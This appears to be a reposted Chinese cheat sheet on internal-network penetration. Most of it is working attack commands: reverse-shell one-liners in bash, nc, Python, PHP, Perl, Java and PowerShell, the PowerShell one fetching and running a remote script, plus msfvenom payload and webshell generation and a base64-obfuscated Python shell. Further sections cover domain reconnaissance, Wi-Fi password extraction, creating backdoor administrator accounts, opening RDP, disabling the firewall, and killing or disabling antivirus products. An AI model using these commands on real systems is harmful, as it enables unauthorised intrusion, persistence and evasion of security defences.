内网渗透的完整流程(内网渗透之常用命令小结)

反弹shell基本姿势多种小姿势反弹,接下来我们就来聊聊关于内网渗透的完整流程?以下内容大家不妨参考一二希望能帮到您!

内网渗透的完整流程(内网渗透之常用命令小结)

内网渗透的完整流程

反弹shell

基本姿势多种小姿势反弹

1. bash

attacker 监听

nc -lvvp 4444

victim 运行

bash -i >& /dev/tcp/<attackerip>/4444 0>&1

2. nc

支持 -e 选项

attacker 监听

nc -lvvp 4444

victim 运行

nc <attackerip> 4444 -t -e /bin/bash

3. python

attacker 监听

nc -lvvp 4444

victim 运行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

4. php

attacker 监听

nc -lvvp 4444

victim 运行

php -r '$sock=fsockopen("<attackerip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个[Linux和Windows两用的脚本](https://my.oschina.net/chinahermit/blog/144035)

5. java脚本

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<attackerip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

p.waitFor()

6. perl脚本

perl -e 'use Socket;$i="<attackerip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

7. powershell

victim 运行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attackerip> -port 4444

*MSFVenom生成常用payload *

1. 生成二进制文件

关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

如何利用?

以Windows为例,使用上面的命令生成一个exe的payload,复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST <自己的IP>

set LPORT 4444

set ExitOnSession false

exploit -j -z

执行完之后在Windows下执行shell.exe

2. 生成webshell脚本

在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell?

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

如何利用?

下面以php为例做一下测试,使用以下命令生成一个webshell,在kali上使用msf执行下面的命令,监听端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST <自己的IP>

set LPORT 4444

set ExitOnSession false

exploit -j -z

将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

php shell.php

3. 脚本shell

关于使用脚本反弹shell的方式,主要以python、bash、perl为例。

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Powershell

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f psh > shell.ps1

powershell.exe -ExecutionPolicy Bypass -File shell.ps1

如何使用?

下面就以Python为例做一下测试,使用以下命令生成一个脚本,在kali上使用msf执行下面的命令,监听端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST <自己的IP>

set LPORT 4444

set ExitOnSession false

exploit -j -z

然后复制shell.py中的内容在linux命令行下执行,如下:

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

信息收集

前期收集

query user || qwinsta 查看当前在线用户

net user 查看本机用户

net user /domain 查看域用户

net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多

net view /domain 查看有几个域

net view \\\\dc 查看 dc 域内共享文件

net group /domain 查看域里面的组

net group "domain admins" /domain 查看域管

net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管

net group "domain controllers" /domain 域控

net time /domain

net config workstation 当前登录域 - 计算机名 - 用户名

net use \\\\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源

ipconfig

systeminfo

tasklist /svc

tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist

net localgroup administrators && whoami 查看当前是不是属于管理组

netstat -ano

nltest /dclist:xx 查看域控

whoami /all 查看 Mandatory Label uac 级别和 sid 号

net sessoin 查看远程连接 session (需要管理权限)

net share 共享目录

cmdkey /l 查看保存登陆凭证

echo %logonserver% 查看登陆域

spn –l administrator spn 记录

set 环境变量

dsquery server - 查找目录中的 AD DC/LDS 实例

dsquery user - 查找目录中的用户

dsquery computer 查询所有计算机名称 windows 2003

dir /s *.exe 查找指定目录下及子目录下没隐藏文件

arp -a

其他命令

ping icmp 连通性

nslookup www.baidu.com vps-ip dns 连通性

dig @vps-ip www.baidu.com

curl vps:8080 http 连通性

tracert

bitsadmin /transfer n http://ip/xx.exe C:\windows\temp\x.exe一种上传文件 >= 2008

fuser -nv tcp 80 查看端口 pid

rdesktop -u username ip linux 连接 win 远程桌面 (有可能不成功)

where file win 查找文件是否存在

找路径,Linux 下使用命令 find -name *.jsp 来查找,Windows 下,使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i

netstat -apn | grep 8888 kill -9 PID 查看端口并 kill

发现密码发现远程登录密码等密码:

https://www.nirsoft.net/utils/network_password_recovery.html

wifi 密码:

netsh wlan show profile 查处 wifi 名

netsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码

进阶命令

远程登录判断是内网,还是外网,内网转发到 vps

netstat -ano 没有开启 3389 端口,复查下

tasklist /svc,查 svchost.exe 对应的 TermService 的 pid,看 netstat 相等的 pid 即 3389 端口.

添加账号

net user admin1 admin1 /add & net localgroup administrators admin1 /add

*如不允许远程连接,修改注册表 *

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

关闭防火墙

netsh firewall set opmode mode=disable

解决system权限3389无法添加的用户情况:

判断原因:

I.杀软篇

1.360杀毒软件

2.麦咖啡杀毒软件

3.卡巴斯基杀毒软件

4.其他杀毒软件或防护软件

II.策略篇

1.3389端口变更

2.莫名其妙无法添加账户

3.管理员限制篇

4.系统已达最大连接数处理

———————–I. 杀软篇—————————–

1. 360杀毒软件

taskkill /im 进程名.exe /f

把主动防御结束。360相关进程如下:

360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe

有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先query user看看管理员状态,因为很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill

所以logoff把管理员踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上

2. 麦咖啡杀毒软件

完整一下过程就是,启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组

这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。

net user guest /active:yes //将guest用户启用

net user guest silic!&11133 //修改guest密码

net localgroup administrators guest /add //添加guest到管理员用户组中

3. 卡巴斯基

调整系统时间,让卡巴的key失效

mkdir建立以非法字符“.”命名的文件夹,将pr等提权程序传进去。

4. 金山防护软件

主要是KSafeSvc.exe

taskkill搞不定就用ntsd

ntsd -c q -p PID

金山毒霸 金山卫士 瑞星防火墙的组合

可以将如下代码保存到c:\windows\temp\a.vbs

Default

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os)

Set oe=GetObject(os&"/Administrators,group")

Set od=ob.Create("user","silic")

od.SetPassword "silic"

od.SetInfo

Set of=GetObject(os&"/silic",user)

oe.add os&"/silic"

然后用如下命令执行,就能得到账户为silic密码为silic的管理员账户了:

cscript c:\windows\temp\a.vbs

5. 禁用服务法

sc config 服务名 start= disabled

给杀软服务设置为禁用,重启服务器,杀毒防护服务就不能运行。就无阻畅通了,例如:

sc config MsMpSvc start= disabled

——————————–II,策略篇—————————–

1. 3389端口变更

进行3389添加账户前首先要知道3389到底开启没有。

netstat -ano查看端口和使用端口的进程pid,然后Tasklist看一下有哪个svchost.exe进程的pid使用了端口

注意,是svchost.exe当中的某个。

2. 莫名奇妙无法添加账户

把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$就过了

如果还是添加不上,可以尝试用vbs脚本来添加

3. 管理员限制

管理员直接把c:\windows\system32的net.exe给删了或者换了

于是你直接net的时候会提示拒绝访问或者不是系统命令等。

管你自己传一个自己的net.exe就突破了。

当然,也有64位系统和你的程序不兼容的情况发生,他是64你就传64位的

4. 达到最大连接限制

有时候添加了账户,但是连接提示最大连接数限制。

首先query user查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8,超过8说明服务器好久没重启了(这个没准的)

然后logoff ID,就把对应ID的管理员踢掉了。然后就能登录了。

隐藏 win 账户渗透技巧——Windows 系统的帐户隐藏

端口转发与代理工具参考文章:渗透测试中弹shell的多种方式及bypass史上最强内网渗透知识点总结解决system权限3389无法添加的用户情况

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页